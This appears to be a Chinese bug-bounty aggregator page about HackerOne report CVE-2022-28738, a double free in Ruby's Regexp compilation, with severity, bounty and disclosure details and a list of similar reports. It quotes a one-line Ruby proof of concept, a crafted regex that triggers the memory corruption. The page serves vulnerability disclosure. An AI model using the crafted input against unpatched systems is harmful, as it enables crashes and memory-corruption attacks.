POJIA破甲
地图 / CVE-2022-28738: Double free in Regexp compilation

CVE-2022-28738: Double free in Regexp compilation

内存破坏 / 双重释放 / #1549636

厂商
Internet Bug Bounty
严重程度
中危
赏金
$4,000
弱点
双重释放
研究员
@piao
披露日期
2022-05-28
资产
https://github.com/ruby
CVE
CVE-2022-28738

该报告还没有中文解读。

原文摘录

摘自原文(710 字符中的一小部分)
Due to a bug in the Regexp compilation process, creating a Regexp object with a crafted source string could cause the same memory to be freed twice. This is known as a “double free” vulnerability. Note that, in general, it is considered unsafe to create and use a Regexp object generated from …
原文中的代码
ruby -e '/(\\x15\\x17\\xE2\\xF5\\xF5\\xF5\\xC2\\x04\\x08J,\\x00\\xD0\\x00\\x00(?(1)\\xF5\\xF5\\xF5\\xD7\\xF5\\xF5\\xF5\\x87\\x04\\xFA555\\xBEJ,\\x18FF\\x15\\xFF|\\x03\\x01\\x00\\x01\\x00\\x00\\x8F\r|)44\\x00\\x8F\r|)+/m'

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @piao · 版权归作者与 Internet Bug Bounty 所有

同类报告

SOCK_RAW sockets reachable from Webkit process allows triggering double free in IP6_EXTHDR_CHECKPlayStation · 2021-01-12 · $10,000Double fdrop on a socket through sys_netcontrolPlayStation · 2026-05-01 · $10,000Access Violation Reading EXPLOITABLE_0228VLC (European Commission - DIGIT) · 2019-07-24 · $1,135Double Free Vulnerability in `libcurl` Cookie Management (`cookie.c`)curl · 2025-04-29CVE-2021-22945: UAF and double-free in MQTT sendingcurl · 2021-09-15CVE-2023-27537: HSTS double-freecurl · 2023-03-20